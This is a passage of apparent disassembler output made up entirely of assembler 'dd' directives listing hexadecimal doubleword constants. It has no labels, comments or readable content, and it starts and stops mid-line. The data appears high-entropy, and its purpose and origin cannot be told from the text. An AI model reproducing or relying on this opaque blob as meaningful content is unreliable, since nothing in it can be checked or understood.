0F53A23F3h, 0E2A8C45Eh, 0AD5FD989h, 6FE92B12h dd 58950765h, 2ADE88C5h, 311D615Bh, 0C0B041D0h, 8347BDAAh dd 0C7FAB683h, 1BE1806Fh, 25D9F21Dh, 197C5AE4h, 0A7DC1A94h dd 0BCC656CAh, 9174998Ch, 8C65FD91h, 0A74A8C13h, 0F8F473B1h dd 0A8261EB7h, 5D7F2B9h, 0C1C9491Dh, 9A1CF4CDh, 948D7C21h dd 0FFEF8244h, 0E3CCBB2Eh, 0D823AEB7h, 8E3B82E5h, 0CE89C845h dd 0F1BDF9EEh, 0D5115220h, 0FF7B87ACh, 8D912C93h, 7FE31DDEh dd 7780C1A6h, 58A06862h, 0F3F88BAAh, 0ADF6AC89h, 0FEF76CD1h dd 0A8136497h, 0C1135BA5h, 0EE8EE781h, 1899BD2Bh, 275400E5h dd 0A9FAB5BCh, 0B5CBBAD7h, 3737DF43h, 0FF6A316Eh, 736C70F0h dd 0FA2DBEB0h, 1F18F73Ah, 0A884BA32h, 0B50184DBh, 0EE19C89Ch dd 0F6660218h, 0BC2FC8B5h, 6893E973h, 15C1749Dh, 5344464Ah dd 0F5AC632Ah, 84C17C3Dh, 0DE9C1F67h, 0CC3603C3h, 7EAA73E9h dd 0CD47C032h, 0D5BFC2BEh, 1948C868h, 59041EBEh, 72BB7BB9h dd 6FF68ED9h, 0BDA78117h, 206C35F1h, 44B92EDCh, 0E67C98CEh dd 36F3C28Fh, 0F8FC26DEh, 0E841DCE6h, 0A7C0661Dh, 6DFFF7DDh dd 0DC8587BAh, 9FCC2752h, 47D8664Dh, 5AA7652Dh, 0A69B9A6Eh dd 3416D7FCh, 0A50F0917h, 446E32F7h, 0D6501786h, 0EF503643h dd 0A51A85DBh, 0BE0BC0CBh, 0FF5D4823h, 5EDD87EFh, 0B1E1C370h dd 0AC4C21ABh, 4BCE8986h, 8055CA82h, 80007489h, 5E871486h dd 0B6AF52BBh, 5FDD6B93h, 7A565894h, 2EE627CDh, 0CA63E530h dd 94799F46h, 749B4D8Dh, 0B2AB5DC8h, 2EF0757Ah, 0D90F6727h dd 787B8358h, 9F848E30h, 63C76206h, 0D65A2719h, 9A474668h dd 0CEFCDB32h, 158D8EB1h, 0BF51A949h, 7A3F9407h, 9FC7FE47h dd 0E3266154h, 2AF750FDh, 0E230BE43h, 0F0C66BFFh, 138DE418h dd 2B821F6Ch, 0EF35F61h, 10AC8880h, 0BDA7B34Dh, 551C9933h dd 0D277B6D7h, 0C8758414h, 0B55F22EFh, 0B461A24Eh, 91670DCBh dd 16618B2Ch, 0AFB2E619h, 7A29E720h, 0DC22297h, 88259E95h dd 0DD1FC5BCh, 0B0B216DBh, 12EB4BBh, 33621465h, 59BC87E8h dd 0EA8EAE79h, 9C1AA3C7h, 60723F5Fh, 0B2504F39h, 5D1BDB7Eh dd 0E8ACBE45h, 0B77DA9E0h, 94B4DF44h, 6A9FB1A0h, 6A7A1544h dd 1388BD40h, 3D58E24Bh, 0CDE91064h, 14053EBEh, 0C706B0D6h dd 0B334A696h, 388973D8h, 7D8AF64Ch, 975AD288h, 31C4A615h dd 3A382251h, 0E1DE4AB4h, 0D6BBDFC0h, 0DBA41DD0h, 0C519A944h dd 0C0D725D4h, 2A7A7293h, 0BDF981E8h, 330C31F8h, 0B25BC86h dd 71F107C1h, 0CE08549Eh, 0C301C50Dh, 384DCA64h, 83B69184h dd 0EDF4409Ch, 19EDDA37h, 986322DBh, 0B3603F52h, 62964D01h dd 8AA535E2h, 0F2E045A0h, 0C74A8B44h, 7F38BEEFh, 0F963DE04h dd 471DA41h, 91AAC392h, 538A6E1Ch, 0B3CE1758h, 4C326D7h dd 0AD613BFh, 21E5E60Dh, 77E90D59h, 64C0418Ah, 6C2AB5AAh dd 6EE18425h, 30F60FA4h, 0CAF82706h, 0AB29A460h, 0A79B3FAh dd 3FA16FFFh, 9544E08Ah, 8398BB58h, 2F252DBAh, 20190D36h dd 2DD84136h, 23C889AAh, 10D23F0Ch, 0B6285179h, 2B68996Ch dd 0F7320491h, 6FF47F28h, 2BF64D8Eh, 36157EA5h, 921A25FDh dd 59C625CFh, 7CFD26Ah, 0C41B9B19h, 83BF775h, 53F224F6h dd 4BC8D2D7h, 9731E994h, 0E99E5F75h, 82BD64FCh, 71ED96A2h dd 0D011FF46h, 10EAA08Bh, 32B4A152h, 119E7E71h, 0EC67635Ah dd 2E29862Bh, 0E9340CF5h, 0D2D9F160h, 0DD2E2C4Dh, 40C2089Bh dd 5E444BAAh, 0E4614935h, 27433256h, 0F4626390h, 10F38674h dd 19626030h, 6D9CA2A1h, 448838E8h, 0FE74A5C0h, 253EF53Dh dd 187EBC3Ah, 0AD8C7A7Ch, 57CDF86Eh, 2C8E3FF2h, 0FF3DF113h dd 0D6A96E00h, 6CF24037h, 1FEA4E8h, 14D5EDAEh, 2ADB4B9Fh dd 0D36E7C2Ah, 6CEFF0C6h, 0CA2AFFh, 304A5FEh, 0DB7AB122h dd 69D8050h, 0B6119766h, 2A33FE18h, 0C86806FEh, 0D943CB13h dd 0E267EE82h, 0C3832170h, 81A45932h, 0B40A6BC7h, 3B2615F9h dd 65AFC3Eh, 679B7533h, 0EA6028A8h, 8109222Bh, 0FA9F2104h dd 49F021E6h, 0E57B5BB3h, 0BBBB7EABh, 45805934h, 8286C828h dd 32F450h, 0FBBB7037h, 521C09BFh, 0C8DCA069h, 0D94889CAh dd 0B4F4F7B1h, 38F69F7Eh, 459AEEB8h, 603FADF1h, 0D9B18946h dd 98DF915Eh, 378C185Dh, 65DC7981h, 0EB18D5E2h, 6299A47h dd 3577B2D8h, 1DD754F2h, 0B9478BB5h, 0D906D951h, 4CC82464h dd 0B63E76B8h, 969A4272h, 0D466D278h, 88197CBCh, 4D985787h dd 0FCB66BABh, 6ECCF2Bh, 66C25ABEh, 0EB42417Ch, 3A2A4B09h dd 7828DF5h, 1DCCBF3Dh, 0B8C2510Bh, 5E5D68A1h, 14F554C6h dd 0C6CEE189h, 0AB6B7283h, 34669C73h, 3AE79A88h, 2901275Ch dd 20F9D294h, 0BF94377Eh, 6E5DA482h, 0ABB270CCh, 5448FDF8h dd 722ACE56h, 92D7D6BDh, 9A94E541h, 0F5C66Fh, 659E5750h dd 0DD5A48D7h, 0CCA68741h, 6059AB15h, 2EFE8E1h, 4A8B0F44h dd 0A2CA76Fh, 0E74457AAh, 1B964795h, 440520D0h, 1024758Ch dd 30D5B7C4h, 0D2DA5000h, 7C10A34Dh, 0BCFE984Ch, 40766FF4h dd 0F45135C7h, 70DD5439h, 97AB083Ch, 1A67FB60h, 0E668B745h dd 0E75BD4A4h, 4A98787Ah, 0FC644745h, 648B47E6h, 0E727262Fh dd 1DC45F2Fh, 30F140A9h, 0E3112265h, 812ABBAh, 9F461EB4h dd 0F8D6DE8Fh, 0D8C2A42Fh, 0B51D115Ah, 92E0D999h, 0F607E869h dd 5EF71A3Ch, 0DEB4BEFBh, 119A57DFh, 0B635BD0Ah, 72FB2C79h dd 0C320F424h, 92A620Eh, 92236DBCh, 854F6D93h, 3945FD60h dd 7BC50CF4h, 0A3AF93B0h, 73279D18h, 25F7864Fh, 0BA446A46h dd 0ABC332F2h, 0A898521Eh, 0D81BE0CAh, 9A0AFB57h, 0BDBCC1DAh dd 0E1C59F48h, 80ADC71Bh, 0E212ABD6h, 0EE12D843h, 25877AB3h dd 6DC1F67Ch, 0A7F66CECh, 5BE75584h, 39687976h, 63D16643h dd 8944E32Bh, 6CF7FB5Ah, 6B8FE5A6h, 0B3F77927h, 0D2BA3262h dd 0EA50BE79h, 93822069h, 48CAFB4Ch, 3F9729F0h, 2B10F208h dd 95EE94D4h, 434D9F1Ah, 0FDAD32FCh, 5EB6423Fh, 0F580323Ch dd 0FE314747h, 46270C38h, 9814EA70h, 297875C0h, 9878D96Eh dd 0FB7001F1h, 8F80D2A4h, 0C222ACD7h, 0C36137BCh, 0BB93834Ah dd 0BD2F77Bh, 569D3E5Ch, 0C9C0D8DDh, 0A17D3DC8h, 44FCEDEh dd 41AF7E2Fh, 3A5569E9h, 0D2F2BBB2h, 0CD48CE7Bh, 0F745C47Ah dd 383C06ECh, 27D28E6h, 3537A961h, 0FB99DB82h, 2D8C14DAh dd 0C8E55B0Ch, 7FED0BE9h, 0F1CE9F9Eh, 8633768Eh, 0C41EDED9h dd 0D16A970Eh, 39E58E64h, 165BA5A9h, 5E0E5376h, 0F013D72Eh dd 0B1599E1Bh, 93D39C03h, 0CB552800h, 5A0E8788h, 1B0F3D88h dd 0BD9AC612h, 0E86FEB44h, 0E789B17Dh, 0B8E7841Bh, 1FED8A2h dd 7E52786Dh, 1002E68Bh, 77B0A8B3h, 0D476D372h, 379BDCCDh dd 84D91C5h, 1926A60Dh, 1B1DCBAEh, 45E154F8h, 0F6EE842Eh dd 0F7FC9194h, 5FBFAA75h, 7914490h, 3A16A635h, 0E382084Dh dd 0D436921Ah, 5C04B89Fh dd 7FB9E05h, 4B173F7Eh, 10A4DADAh, 82FB825Bh, 0E5C88043h dd 0CE33203h, 0B4775193h, 6EF82382h, 87438C76h, 727A8D16h dd 2CCA9698h, 8F02E06Dh, 0BF7EFD76h, 0E1E570D0h, 0EBB42226h dd 48540CB1h, 0C97239A1h, 0BCD49C67h, 95C703C0h, 8028F7C4h dd 9CEE748Dh, 75CEED38h, 0C774DCEAh, 4FB42F0Ch, 3BF60DDh dd 1F1E4D3Eh, 814CCB69h, 88D1950Ch, 13098B28h, 5D5FEA7h dd 5C2EF526h, 0EAA823EBh, 3DB8A923h, 27AA0290h, 7A8D3AFCh dd 7C468D9Dh, 31E4D550h, 466B9267h, 25D76E37h, 4CEFD1C2h dd 269F97B1h, 42C42387h, 0FBD7961Eh, 574D0192h, 3A50A655h dd 0B47EEFC8h, 723FFB2Dh, 4C229688h, 0AAC8532h, 0FF46FD02h dd 0DB692357h, 2CDA008Ch, 246AAE81h, 22C912E3h, 66BBEAD9h dd 82D2F401h, 0DE65EA62h, 723BED5Fh, 5217053h, 0BBF757FAh dd 68F2ABFEh, 78AEBFDFh, 0D496D392h, 0B3DA4549h, 0FEDE59D7h dd 638E033h, 0DBB40CD0h, 0A8F2727Dh, 0BBEC1D38h, 80B91A72h dd 21A46BB5h, 892A17EBh, 0DC88D12Ah, 99069E5Dh, 0A789521Bh dd 0FCD3300Fh, 0F6AF1375h, 0FB655DC5h, 1D89EDEEh, 0DBF7D205h dd 0C8D6B07Dh, 0B6D7E881h, 326B532Fh, 560C8648h, 0C96271B6h dd 5BAFF9C9h, 551532DCh, 0FC63AD7Dh, 465E1F8h, 0F94807ACh dd 8E9B06C5h, 90EA02ECh, 89A05FECh, 8DA378CBh, 0DD86A6A3h dd 0C8763B30h, 313CFF60h, 0D7124960h, 5A71555h, 0A4954851h dd 6A4414D7h, 0EE6E9E40h, 968D934h, 0BF799D79h, 25953D2h dd 0FFBB628Dh, 4AFB026h, 38BE61F0h, 0F2CAADBFh, 460C0010h dd 80E219E4h, 0C687AE4Dh, 53B95D00h, 87A50F03h, 5603D3C2h dd 0CF0E4FF1h, 9A30460Fh, 0E100FA25h, 0C65181F0h, 0A074C83Fh dd 0D6A093A5h, 0BEE01817h, 0CFC4CC0Bh, 502FACF9h, 71EE0457h dd 0FAB647E1h, 4A8ABBBEh, 5FF70CD6h, 0C37BFED3h, 20FCE82h dd 52D420D9h, 0FF1E03DEh, 8B8C5A39h, 2C0749FFh, 836981DAh dd 8D40C2ACh, 885AD9ECh, 203D27Dh, 4B0AC3CAh, 97216D63h dd 4FBA3D06h, 0E1BF7413h, 35FE43BBh, 0FF1EC879h, 18717195h dd 0C74B0AEEh, 0A5F215B9h, 69D918DFh, 0FEA3049Bh, 659D6263h dd 0ACC927EBh, 69C7641Bh, 0DA4461CCh, 0FC104E47h, 0FF7A2AE7h dd 0D703DC1Dh, 9207A809h, 0FA8F77EEh, 0DD2A0F93h, 5963092Eh dd 0C4D38892h, 595D165Bh, 0E678E082h, 0F8857E16h, 6537C4FEh dd 0D32550A8h, 8EF77629h, 0C1552B39h, 1699395Eh, 3173ABEEh dd 6C98EE0h, 0A31E4697h, 8E0F46Bh, 6B15F823h, 2BBED4A2h dd 0D2B513C5h, 2F658375h, 0C7E9B0F2h, 0D397A962h, 6F2845CDh dd 93521891h, 0AA099D42h, 0CA8619ECh, 0DC9C4588h, 4C34EFBEh dd 0F474E322h, 6A6833FBh, 0E24ADB09h, 0BE7B8A27h, 8313013Eh dd 166500EBh, 0E1585AABh, 89B0B230h, 58F34A8Ch, 2E3C022Bh dd 4B2D3F02h, 0F99A1DBBh, 728B7EEEh, 93C343B8h, 0FE413D2Eh dd 42C07DA8h, 51D11FC7h, 2AA04191h, 0C9A588E6h, 4F84A505h dd 0DA73BACAh, 17B035CDh, 5F7162F1h, 77559077h, 2227E545h dd 9BE4723Bh, 2D826D52h, 1AEE93FDh, 842E1B32h, 0E160AD8Fh dd 0F1915162h, 0CB50688Bh, 70A17181h, 0EBBC8DC5h, 0C9ED3682h dd 69FDEE7Eh, 0EC015CB3h, 0C47AC382h, 0B5C13178h, 33BD659Bh dd 9FCB9F8h, 9A49D26Fh, 0BCB967DBh, 0B864EA06h, 0D3AF0123h dd 0F6179902h, 148AA821h, 0BE63622h, 9F1108C7h, 0FF8E49D4h dd 9EA5CD7h, 9AABC06Dh, 9CC23F68h, 5B63A2F1h, 27B6AF0Ah dd 9F6DDC96h, 4F9C490Ah, 0C85BF0A4h, 3BABA83Fh, 999C55C1h dd 0D74CD558h, 2CC7AB50h, 0A4711085h, 0A9E16C4Dh, 21FBE272h dd 0C846F78Ah, 0BB7AED2Fh, 0B29CB97Eh, 0A1BAAE87h, 992A614Eh dd 86978DB0h, 193F7556h, 1C5E9FF6h, 26202954h, 89C28FB2h dd 0E39F468Ch, 8C9E3ABh, 29F502F9h, 0B039FD78h, 86532E3h dd 5C8197DEh, 49FC9B99h, 69172EEh, 3D3368E8h, 0C354E9A3h dd 0EE95264Bh, 0BBE74F16h, 2DB6F2A3h, 2634791Ah, 208B1E7Ch dd 377781Ah, 49BE2730h, 0CB38BD98h, 0ECBBF250h, 0F5164B0Ch dd 17DF53BEh, 5C8F2044h, 0A1234084h, 6387140Ch, 913914C4h dd 0BD87B550h, 2E010DE7h, 0AA0FCC41h, 96DE7E13h, 0FD470BEBh dd 0B223E511h, 2439FF89h, 6919D5A0h, 0CE383EC7h, 47A1B263h dd 0A4B16995h, 0CBFA72EBh, 0F409A6C1h, 0E8C13775h, 0B708ED4Dh dd 3F900DABh, 3F1DBAE2h, 0BCCA5703h, 729761A9h, 0B62C13D7h dd 9F20F903h, 5B95C0D1h, 0CF8AE35Ah, 71BD44Ch, 8E02B154h dd 81530A2Fh, 3B43C0B8h, 730FBDAFh, 6DCF0D75h, 0F7FE66FCh dd 12C98689h, 0E250909h, 98AF2AADh, 7D069DE7h, 0F79F1427h dd 9B4F865Ah, 3DADC1Ch, 6F7E1A3Dh, 3E206265h, 0A14CD48Bh dd 0F1092ADBh, 0D83BE525h, 0BEDEF318h, 0DD0ABB16h, 0E857FC57h dd 0ADDE8FFCh, 0B64B4935h, 69D6EC1Dh, 99326308h, 0ABE4CE60h dd 0E2C4C283h, 5D4336D7h, 4182711Bh, 5BF4AB0Eh, 3B75F8D9h dd 0CD1A8B7Ah, 82A9E426h, 0AC0381F6h, 0A08495E1h, 379AE007h dd 298E6865h, 3C817582h, 0C51583E0h, 818EAF28h, 83CA44ACh dd 0C24BA175h, 1845845Dh, 0E3AC46D7h, 7E258917h, 6F43EA45h dd 0C88CA071h, 6858AD64h, 7E551DACh, 8A3B80E9h, 0A77A1CD5h dd 84D46979h, 0FEBE8D27h, 9BFC5CA5h, 0DFD438FCh, 0DF11D136h dd 910C8DD0h, 3B24EED9h, 39D5CF15h, 751CCCF4h, 83E44BC0h dd 0A015CC29h, 9738A769h, 17FA24B0h, 1135D976h, 97CC621Bh dd 59B4A983h, 0B9BFD793h, 7C929354h, 6728C140h, 0C5FEEB38h dd 42656B0Dh, 222EB6FDh, 149786DDh, 1BE67D51h, 6B10CB7Ah dd 0F05D46A2h, 0C7DBE0B3h, 78C980DBh, 0B82520A8h, 9F165F5Fh dd 5025F471h, 0B6CE5207h, 713C0B3Bh, 0CD77EE94h, 0EB32FF69h dd 68F1AECFh, 8D0D22A1h, 0C7FF9FA0h, 0F0CC61EAh, 8394ED2Dh dd 0C85086DCh, 6ED9915Dh, 5CC82566h, 7310F61h, 8FBD7523h dd 6B16218Ah, 15E6CCC6h, 0EB2518E6h, 0AC371B32h, 79129A52h dd 19A1A742h, 0E281058Ah, 0A496D036h, 0B8CC300Fh, 6C639791h dd 0EAE4B8C8h, 9BDAE85Fh, 0EF70118Ch, 99F41DBBh, 0EE21BD42h dd 60FD2525h, 47C0F134h, 0F16FD6B5h, 0D5A5A617h, 0C6EA815Eh dd 0E16CB2D8h, 731CE95Dh, 0C61BD641h, 83015CC6h, 3A4B9586h dd 8189039Eh, 0E378EBB0h, 9E17FC69h, 0A82FA79Fh, 49A10873h dd 47D0C2A6h, 8AC11BD8h, 1C29F92h, 3058051h, 3E8199D0h dd 0FA6005A5h, 2CCFD376h, 0F62A72EBh, 95523B33h, 0F9D889FEh dd 13337FC3h, 3715CA80h, 7D98F586h, 0BE60AC6Fh, 1B173347h dd 0E592A7D2h, 5C834472h, 8DC5123h, 5C033270h, 56B4220h dd 0AD545AB7h, 6EBD4B47h, 0B46C3EDEh, 4698AEB2h, 628976DFh dd 0E73A49B8h, 3D0D5D06h, 0DFC4A60Eh, 2D8EE698h, 3A91F4FEh dd 0A5DDD7E1h, 0B3799F33h, 4990407Eh, 7AB7814Fh, 0E4DCE74h dd 1BC5C442h, 2AF9518Dh, 0C4313EF4h, 0BE9635F3h, 0D775A9C4h dd 2985A11Fh, 0EE739CEh, 902675Bh, 0D60F2F78h, 0EAC83F0Fh dd 3973FE8Ch, 1744C2A0h, 0C4F27072h, 0A6C77F8Eh, 297CA290h dd 0B82F1D67h, 8015552Ch, 0AA8ED94Dh, 0E4580D4Bh, 2263DBD1h dd 0E6145974h, 221265D0h, 92802DA2h, 9ECEE2A1h, 0EA64AACBh dd 8456AB6Ah, 0CC9AC2A1h, 8B1CC269h, 49BD7D1Ch, 0EAD1DD9Fh dd 8C4588FEh, 0F1646DF0h, 0B066B435h, 947096ACh, 0BA558017h dd 0F951677Fh, 0E3A1DE92h, 0B2B617Dh, 2FDDB768h, 3FC694B9h dd 8FC90A59h, 35AF3461h dd 37B47FE4h, 250B5EA1h, 45644E71h, 6B822040h, 3A869F7Dh dd 95D0FE00h, 0A48CA4AAh, 1B4ED732h, 43E1C015h, 370233B5h dd 0F8360AFFh, 4795430h, 0EE40DB46h, 0C5012CD5h, 0B424CA1Bh dd 9B933E9Eh, 0A0191436h, 27B8E24h, 0B4888DCDh, 7D583A8h dd 2FC5F332h, 94174604h, 0E04E4893h, 0DF8C7EC5h, 0B429E6A9h dd 3054BD54h, 0D5DB8BB4h, 9B40BA7Ah, 8B313A8Eh, 7236DCB7h dd 54BCCA14h, 0EB34759h, 8D43517Dh, 9C5BA4D4h, 711C4EFCh dd 0EDEAD9FCh, 0C6310D90h, 0D5CA8CECh, 6367626Bh, 54E8A95Eh dd 912F651Ah, 9A9187E4h, 56F43FEBh, 3B952807h, 1B133E5Ah dd 229994B6h, 0D0D5C62Eh, 457F7EA8h, 0FDECAC65h, 3F7E2288h dd 9D97C672h, 45B5267Fh, 6927273Ch, 3B859078h, 0EBF9A1E9h dd 0D98EBFA4h, 0C59362C6h, 7D3F6B2h, 0D1AA27A8h, 98592CEAh dd 0D49B816Dh, 43300D78h, 0D3805F2Dh, 0C7487E22h, 6663A20Dh dd 0E3D9E6E6h, 4AA7014Fh, 523E102h, 0B3622C8h, 1B72E4D1h dd 533CF01h, 0FECC67E4h, 0E30371C9h, 0C60FB911h, 0C305CAAFh dd 6A59D4F6h, 7C9CC97Dh, 80ED3746h, 0E46078B4h, 0E0708DC9h dd 87091CFAh, 687D9B00h, 0A8DF305Fh, 0B5BBEE67h, 9D61C3A0h dd 0A3936677h, 0EA82D2E6h, 0A0E3CC4Bh, 0BAEDC3A5h, 0CD24260Dh dd 0B7A38231h, 95B51822h, 51B6C98h, 8110F9CAh, 667C300Ch dd 324A9739h, 1B251013h, 234F7EA6h, 0CED65C3Ah, 80A5BF4Ah dd 0E9D547E5h, 69DF06Ah, 0D23245E9h, 0EECF230Ch, 0EA543F2Eh dd 139ADC01h, 6354DF5h, 9440835Eh, 8B545841h, 0FD7EC1DAh dd 0AED112DFh, 0C9132EA3h, 543EE493h, 1BED2A94h, 5997B939h dd 0DB92E7DAh, 0F721E6CAh, 7F229D1Fh, 0BDBA73E2h, 148D8E61h dd 42EE731Bh, 0DA8C3048h, 0AE5347F8h, 25EFD41Ch, 9C0EFAE3h dd 5AC293D3h, 3DF20ACh, 0F5B816A7h, 0A949DDFDh, 0D1662DAEh dd 7BCE585Ch, 452CD781h, 0C154E5Bh, 3CBE736Dh, 0D2AB970h dd 3E174166h, 6CCADFA8h, 73FFA066h, 449B1390h, 0BAEE9AEBh dd 0B4BD70F8h, 7D0BF97Ch, 284D87CAh, 6E3A85ACh, 4210E9C7h dd 0D012EC98h, 52DB5FC7h, 0F0FDB879h, 0F95FAA06h, 0DA218009h dd 9A0CB856h, 10C4D4A9h, 0A0B55BD9h, 0EBE182DBh, 0F4FBB564h dd 1217993Ch, 8994AA77h, 0ED46F700h, 0FB62262Fh, 0F855A07Ah dd 2A122091h, 4177CC97h, 7A1B7647h, 6C7EDF0h, 8FAD7AD3h dd 0E71C8B4Eh, 0CF305C82h, 0DBD53BCEh, 0BA74F414h, 0E58D4687h dd 0FCC84045h, 0D3CDD13Eh, 4A8C957Dh, 3263A08Dh, 0F2A476FFh dd 146123ECh, 8E43D2E5h, 3E280D6Fh, 79B47A34h, 204269DAh dd 2B25EDB9h, 0D2A49551h, 0B92DB530h, 82BCB0F1h, 9E060EDAh dd 49C85238h, 6F754298h, 0D5890806h, 0D23BAE77h, 0BC4B51F9h dd 0ADF0E945h, 0DD0F56ACh, 0B1A6C06h, 0A25D2E51h, 887DFCDEh dd 92C09528h, 0C779EA77h, 87DDE41h, 8E717B9Ah, 0FCE08562h dd 5F5FCE24h, 240D9E25h, 0FA646FFFh, 12A02E6Eh, 0C19DB273h dd 31F97A5h, 8B4DB1F7h, 37E01545h, 0C2EE73C8h, 34FFECBDh dd 85D4A363h, 5688102Dh, 8A6261B0h, 84F6933Ah, 4F25CC1Dh dd 975E8E56h, 0A16469F5h, 0A7C2211Eh, 0A7A4B9D1h, 41641015h dd 68557030h, 32AC47Fh, 0F0811D3Ch, 522285CBh, 4A6CFBB7h dd 311A5F76h, 1304CDD8h, 0EEE7A6DAh, 2367BF22h, 284ABB80h dd 5DED0BC1h, 5A39FC78h, 3BD36BFDh, 52E558A6h, 0D43409D6h dd 249D3A67h, 77E20756h, 1FE0CFEh, 1542802Fh, 62A18B38h dd 99A868B7h, 26F57126h, 0FE91F77Eh, 0EBDC9899h, 8661EADBh dd 91B82A3Ch, 757E3FCFh, 0A52B72DAh, 0AED992BFh, 7AC44526h dd 27D562A3h, 30E53EE3h, 7ECC64F1h, 0D778AFF6h, 3C0997C4h dd 7D735406h, 0EB1451CDh, 67BE9373h, 6B044768h, 36070F85h dd 7AD471BAh, 28D15975h, 30620E22h, 0EA7AF002h, 1E612887h dd 28E5AF5Dh, 13FF1905h, 0FA875553h, 6E21BCB3h, 3840F982h dd 99882C41h, 5F801F98h, 3381711Ah, 52E675CCh, 3A37A4B9h dd 0C776EF49h, 8E4FED6Ch, 0FCB3195h, 27754A63h, 826F833Dh dd 906C1BF9h, 0A1995903h, 691ED757h, 7D688610h, 9E67F99Ah dd 4A633E0Eh, 0B355941Bh, 7D835922h, 9819691Ah, 0A53050DBh dd 60CB731Fh, 0B55C0AB4h, 4D6353F8h, 7227F36Eh, 79D5780Ch dd 1E78F9DFh, 411EDF27h, 0B96285FCh, 856B1FCDh, 0D25F282Dh dd 0E4826E2Dh, 876E7C79h, 0BFB03DCCh, 1AA57DB9h, 66612F70h dd 9FD07DD4h, 1A57469Eh, 0BFECBB4Dh, 0F25775B8h, 2BDC892Ch dd 0F1527F3Ch, 0D131095h, 13ADF85h, 0C1CC58CCh, 362F978Fh dd 0DB866353h, 0C958426Bh, 37801168h, 67F09D76h, 79029720h dd 0A3D7CE20h, 6B22A27Fh, 0CEF582E3h, 1C673A18h, 1122AFB5h dd 2D64AEC7h, 0B223A778h, 0EE5E3FA1h, 0A77F3459h, 8233E247h dd 329980F3h, 17CEC752h, 6895CD96h, 0EF58252Eh, 9F42CC2Dh dd 7E3C8D89h, 27A0D0E7h, 0C9C6E0ADh, 0FBA3FBB4h, 2639CD66h dd 0C58C21F8h, 857C5972h, 5C866FBCh, 6A3BE435h, 14297EC1h dd 0CF359A7Bh, 0B1484CCCh, 5D85E631h, 11E6FF8Ch, 0B6E4CA74h dd 5B33E3CBh, 0D9742973h, 0F7BE1AE4h, 69DC2010h, 23D607E3h dd 503C4502h, 0B082D93Dh, 0CBA4818Dh, 0AF837F68h, 49848A89h dd 34C2FEADh, 8E52829Dh, 92BE7CC5h, 0A4D94A23h, 0BBEC7023h dd 0E6AFA85Ah, 0DE298A33h, 35866B42h, 0E6943514h, 0A679FBA3h dd 899EDF9Eh, 0F133B471h, 306DFD30h, 6DBC60C1h, 6C8EE83Dh dd 98424687h, 8F945E35h, 0B801096Eh, 233E4EF2h, 0EB48C576h dd 7EA74FE2h, 6F1C285h, 4B5FBFF4h, 89138A86h, 0EB2BC955h dd 0CDA86DD5h, 0C079EF08h, 89BAB66Bh, 0C9B23FA8h, 4C08F4EDh dd 97988D4Dh, 452FAADEh, 0D726D41Fh, 764F25C6h, 36F694E5h dd 572BF8EEh, 0E4253FC0h, 7FF571BAh, 62378D7Eh, 0CB76B8BBh dd 60B55FB3h, 0AD46DA2Bh, 8D5ED9D4h, 0BD0F3F2Ch, 3F35A108h dd 0C3A4C156h, 77C39178h, 3B64711Ah, 6F0B565Fh, 850FE3C8h dd 1C19D572h, 19F60A63h, 77E6DE17h, 548DE233h, 5E806DB3h dd 6FF96E03h, 9E9EA692h, 0E5A2152Eh, 968D4898h, 7A4F94C4h dd 0B085FC91h, 0AEC7BEEEh, 0AAE4D191h, 15837396h, 77BFF5A0h dd 9F1FF9E2h, 0B72D14DAh, 0EE86C0B2h, 9BDBE72Eh, 92B36182h dd 0A6B75FA9h, 0D3E0C2ABh, 68EFC512h, 33C06D98h, 0E996004h dd 2136C3D2h, 925372D8h, 0B44561DEh, 0E669830Ah, 0B2D3915Eh dd 61012E77h, 9527D2CCh, 0D25BFD08h, 253E472Dh, 508549F2h dd 56E0A911h, 0D9B901E0h, 0B1E0995Ch, 0A5F55802h, 3D7EAFE0h dd 0FE75F6F3h, 0EEA32ACFh, 59838EA8h, 4923FE54h, 8BD11C60h dd 0E43009D2h, 0E05AEB2Eh, 5F0CB61Bh, 0F0829A97h, 483A877Ch dd 0E2B48D21h, 2004F12Ch, 0EB6E34AAh, 0D5B17B78h, 7A8215Eh dd 27DD1EE9h, 0BE60219Eh, 0AA1B2071h, 0E6606109h, 72B9AD2Dh dd 312350C2h, 0C331BBA3h, 2D3EB38h, 0BE79E2C7h, 0D2BC75DCh dd 0C1DD8B63h, 70C3B56Ah, 73CAC6F4h, 758972h, 0AB89A3B3h dd 30AF234Ch, 51F45E24h, 7DE24DAFh, 0A8A7944Dh, 9E1BEF29h dd 53549A7Eh, 0D69850E3h, 0D2FFCAF4h, 7512EF7Eh, 0BEE16263h dd 1E130871h, 0A47E130Eh, 0E4F839Bh, 4DE831C2h, 3DEA336h dd 0DD4FF128h, 7EAEFB84h, 2B77F71Eh, 0A5A4BED5h, 1DF38E0h dd 73B13E0Eh, 45D13FDh, 3AED062Bh, 0F91FB001h, 12831847h dd 4F1BB015h, 6A0E4F0Eh, 4C3E5CEAh, 274D3976h, 0A83CC461h dd 0E71A9CC9h, 7B855DF6h dd 0CF0A70F2h, 0F93E8DA6h, 0B0A9E459h, 6CC3BCD9h, 0B7DC6923h dd 0FC99761Dh, 5C5D8E33h, 831E8C97h, 0C142F64h, 0B5020EE8h dd 571B2459h, 7504E88Ch, 151FAA2Ch, 0D1CA3358h, 42296D22h dd 800E79F0h, 0AB885623h, 0B667376Ch, 0E9B3CAE2h, 5C319F40h dd 0C2436C93h, 93B077D2h, 0D54A33C3h, 0FC1D047Bh, 5E0B9471h dd 0A0595CD6h, 74FEB2FCh, 6A6BC0D5h, 0B4E1E583h, 529BA3FAh dd 8C5FBFA3h, 0A52C383Eh, 8F110FCBh, 9A12DAD2h, 132AF4D9h dd 5EA98C02h, 60728F4h, 5616DB5Bh, 0CB8966B5h, 0D05226Bh dd 0DF57F0C5h, 0A43DFA6Bh, 66DC23DAh, 551C1BB6h, 160B111Eh dd 0C87DB680h, 0B2BBEF06h, 5FA8714Bh, 545229D6h, 0F30F2D7Dh dd 9940D47Eh, 0A6462FC6h, 91C60CD9h, 942D0143h, 2611E7DEh dd 9253EE9Eh, 5416229Eh, 0F03C60B5h, 7D59EF00h, 7025A2BEh dd 1ED71F2Ah, 9A3BB63Fh, 0C75CCB67h, 0B52CCF9Fh, 9A05807Ch dd 76B00DA7h, 0C0F27491h, 1C193E6Fh, 0AC20DC0h, 2272B597h dd 0A56D2E3Eh, 6E8E860h, 61B380D5h, 0C345EEA8h, 0CC45DEF1h dd 80C700F2h, 72DCF5BFh, 0C5101C81h, 1A710B00h, 38607A3Bh dd 0BD493965h, 7151895Eh, 3BF915FAh, 36350F5h, 3CC3F270h dd 5813C24Dh, 24BDD4EDh, 0E88D791Fh, 